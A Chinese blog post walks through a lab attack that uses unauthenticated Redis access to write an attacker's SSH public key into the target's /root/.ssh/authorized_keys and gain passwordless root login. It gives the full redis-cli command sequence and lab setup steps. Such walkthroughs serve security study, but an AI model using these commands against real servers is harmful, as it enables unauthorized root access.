Redis未授权访问实现SSH免密登录

Redis未授权访问实现SSH免密登录

1. 环境简介

1.1 物理环境

  攻击主机(kali linux)
  靶机(CentOS 7)

1.2 网络环境

  Kali:192.168.32.128
  CentOS:192.168.32.129

1.3 工具

  Kali:Redis+SSH
  CentOS:Redis(root权限)+SSH

1.4 流程

  攻击机kali远程连接靶机Redis数据库
  攻击机SSH生成公钥私钥
  通过Redis将公钥写入靶机的SSH路径下
  攻击机SSH连接成功

2. 攻击过程

2.1 通过未授权访问连接至靶机Redis

  redis-cli -h 192.168.32.129

2.2 攻击机生成SSH公钥

  生成公钥私钥
  ssh-keygen -t rsa
  一路回车

  查看公钥内容

  编辑公钥内容为Redis指令

2.3 攻击机操作靶机Redis

  指定目录
  config set dir /root/.ssh
  指定文件名
  config set dbfilename authorized_keys
  设置公钥内容
  set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+DUob5niJ3mvoDW2raDBKXcbaqYZISbWHfLeGYYUX9R3VnsS5phma/7FHmm6MQWi5a6sjPSQCdcquaEmCuzfRnWdzV5e3s0rl3/NuQt4LgJcH38dpKsrg6FMRc0y6d4dRYZ1TzwJ+U8HOne5DplbwuXH7/9ZjNrTfcSp2LR4DB+8OmW6F0+f2QHNL0xftDn+FYJmLgSBVyYch6itF9fmEMMHxuoYvkxdnFZd2nmydykVQtpbvMXf2TVTPn0NAzzubT6wbaoTzzPswgfTrEijIyBCAicJGJMo6kINb+7BsGh1o7Ehdf721sJJCkXuVJJdfF+ZCaUvHPkOa7KjpWm+FkQtxif96prhRulZhZe3XNXUkIiy/KMUKrSTJC1b15TgVN/92IrkogugSUmf6yncEiT65azUzV40XQzYhpT0OZBQk1gMvXAbnU2eZ7w22o2pF8Qpn9jYR+zM4uZX90J9p5yCxWHCOJSyxHddVzM6hxbot0IAoVnsk8e3ukZ2E/LE= root@kali\n\n\n"
  保存
  save

2.4 SSH连接成功

  首次连接ssh

  写入公钥后再次连接SSH

3 踩坑

3.1 Redis开启远程连接

  Redis安装好后需要开启远程连接,修改redis.conf文件
  第一个框内容需要注释掉,第二个框需要将yes改为no

  修改后重启Redis,加载指定conf文件
  ./redis-server /root/redis-6.0.9/redis.conf

  防火墙开6379
  开启6379端口
  firewall-cmd --zone=public --add-port=6379/tcp --permanent

  重启firewall
  firewall-cmd --reload

  查看状态
  firewall-cmd --query-port=6379/tcp

3.2 路径/root/.ssh不存在

  靶机开启ssh
  systemctl start sshd

  路径/root/.ssh不存在

  这时需要本机连一下自己的ssh,就会有路径了

posted @ 2021-02-19 17:52  Snowieee  阅读(1051)  评论(0编辑  收藏  举报